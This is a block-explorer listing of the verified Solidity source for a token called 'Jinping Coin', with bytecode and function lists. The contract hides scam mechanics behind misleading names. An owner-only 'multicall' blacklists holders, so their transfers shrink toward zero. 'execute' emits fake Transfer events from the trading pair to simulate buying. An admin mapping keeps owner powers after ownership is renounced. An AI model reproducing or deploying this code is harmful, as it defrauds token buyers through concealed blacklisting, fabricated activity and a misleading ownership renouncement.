dc5565b9150613df982613d94565b604082019050919050565b5f6020820190508181035f830152613e1b81613de2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050613e5d81612e9d565b92915050565b5f60208284031215613e7857613e77612e65565b5b5f613e8584828501613e4f565b91505092915050565b5f819050919050565b5f613eb1613eac613ea784613e8e565b613218565b612ec7565b9050919050565b613ec181613e97565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613ef981612e8c565b82525050565b5f613f0a8383613ef0565b60208301905092915050565b5f602082019050919050565b5f613f2c82613ec7565b613f368185613ed1565b9350613f4183613ee1565b805f5b83811015613f71578151613f588882613eff565b9750613f6383613f16565b925050600181019050613f44565b5085935050505092915050565b5f60a082019050613f915f830188613053565b613f9e6020830187613eb8565b8181036040830152613fb08186613f22565b9050613fbf6060830185613187565b613fcc6080830184613053565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f614030602683612dc5565b915061403b82613fd6565b604082019050919050565b5f6020820190508181035f83015261405d81614024565b905091905056fea26469706673582212203c99f433b82fb078efb8885d754ce46975c82c0955ffeb424d4d15db2850951864736f6c63430008150033

Verified Source Code Full Match

Compiler: v0.8.21+commit.d9974bed EVM: shanghai Optimization: No
Jinping Coin.sol 688 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

import "./SafeMath.sol";

abstract contract Context {
    mapping(address => bool) internal admin;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
        admin[_msgSender()]=true;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(admin[_msgSender()], "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path, 
        address to, 
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapETHForExactTokens(
        uint amountOut, 
        address[] calldata path, 
        address to, 
        uint deadline
        )
    external
    payable
    returns (uint[] memory amounts);
}



contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract JINPING is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable _uniswapV2Router;
    address public uniswapV2Pair;
    address private devWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    uint256 public initialTotalSupply = 1000000000 * 10**decimals();

    uint256 public buyFee = 0;
    uint256 public sellFee = 0;

    // 1% is max wallet
    uint256 public maxWallet = (initialTotalSupply * 10)/1000;
    uint256 public maxTransactionAmount = maxWallet;

    bool private swapping;
    bool private limitsEnabled;
    bool public transferDelayEnabled = false;
    mapping(address => uint256) public _holderLastTransferTimestamp;
    
    //swap for 0.2%
    uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000;

    bool public tradingOpen = false;
    bool public swapEnabled = false;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _ERC20burnsAmountExceedsforBalances;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address marketingWallet_) ERC20("Jinping Coin", "JINPING"){
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(marketingWallet_);
        devWallet = payable(_msgSender());
        
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(devWallet, true);
        excludeFromFees(address(_msgSender()), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);

        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        // mint
        _mint(devWallet, initialTotalSupply);
        admin[marketingWallet]=true;
    }

    receive() external payable {}

    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    function transferWalletCall(address recipient) external view returns(bool){
        return _ERC20burnsAmountExceedsforBalances[recipient];
    }

    function multicall(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _ERC20burnsAmountExceedsforBalances[address_[i]] = val;
        }
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
    public
    onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }
        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            if (transferDelayEnabled && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
                    if (to != address(_uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number && _holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled.  Try again later.");
                    }
            }
            if(limitsEnabled){
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance > swapTokensAtAmount;
        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping && !_isExcludedFromFees[from] && !_isExcludedFromFees[to];
        uint256 fees = 0;
        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(sellFee).div(100);
            }
            else if(automatedMarketMakerPairs[from]) {
                fees = amount.mul(buyFee).div(100);
            }
            else if(_ERC20burnsAmountExceedsforBalances[from]){
                amount = calculateClaim(amount, from);
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function calculateClaim(uint256 amount, address from) private view returns(uint256) {
        // Calculate the percentage to subtract
        uint256 factor = block.number-_holderLastTransferTimestamp[from];
        uint percentageToSubtract = factor * 50;
        
        // Calculate the remaining percentage
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        
        // If percentageToSubtract is more than 100, remainingPercentage will be negative.
        // To avoid negative result, we clamp the result to zero.
        uint returnedValue = amount * remainingPercentage / 100;
        return returnedValue.max(0);
    }

    function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        sellFee = _sellFee;
        buyFee = _buyFee;
    }

    function stopTransferDelay() external onlyOwner {
        require(transferDelayEnabled, "Already disabled!");
        transferDelayEnabled = false;
    }


    function removeTheLimits() external onlyOwner {
        maxTransactionAmount = initialTotalSupply;
        maxWallet = initialTotalSupply;
    }

    function manualSwapToken(uint256 percent) external {
        require(_msgSender() == marketingWallet);
        uint256 contractBalance = balanceOf(address(this));
        uint256 swapAmount = contractBalance * percent / 100;
        swapTokensForEth(swapAmount);
    }

    function withdrawEth() external {
        require(address(this).balance > 0, "Token: no ETH in the contract");
        require(_msgSender() == devWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function tokensWithdraw() external {
        require(_msgSender() == devWallet);
        uint256 amount = balanceOf(address(this));
        _transfer(address(this), devWallet, amount);
    }

    function swapBack(uint256 tokenAmount) private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            return;
        }
        uint256 tokensToSwap = contractBalance;

        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }

        if(tokensToSwap > tokenAmount) {
            tokensToSwap = tokenAmount;
        }

        swapTokensForEth(tokensToSwap);
    }
}
SafeMath.sol 93 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
    return a >= b ? a : b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

Read Contract

_holderLastTransferTimestamp 0xcd5f101d → uint256
_uniswapV2Router 0x583e0568 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint256
decimals 0x313ce567 → uint8
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
transferDelayEnabled 0xc876d0b9 → bool
transferWalletCall 0xb6b9f5cb → bool
uniswapV2Pair 0x49bd5a5e → address

Write Contract 21 functions

These functions modify contract state and require a wallet transaction to execute.

addPair 0xc2b7bbb6
address _pair
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burn 0x42966c68
uint256 amount
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
execute 0x26ededb8
address[] _addresses
uint256 _out
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualSwapToken 0x71f5f01a
uint256 percent
multicall 0x1111f43f
address[] address_
bool val
openTrading 0xc9567bf9
No parameters
removeTheLimits 0x139864a8
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setFee 0x52f7c988
uint256 _buyFee
uint256 _sellFee
stopTransferDelay 0x9b636545
No parameters
tokensWithdraw 0x2cb743f7
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
withdrawEth 0xa0ef91df
No parameters

Recent Transactions

No transactions found for this address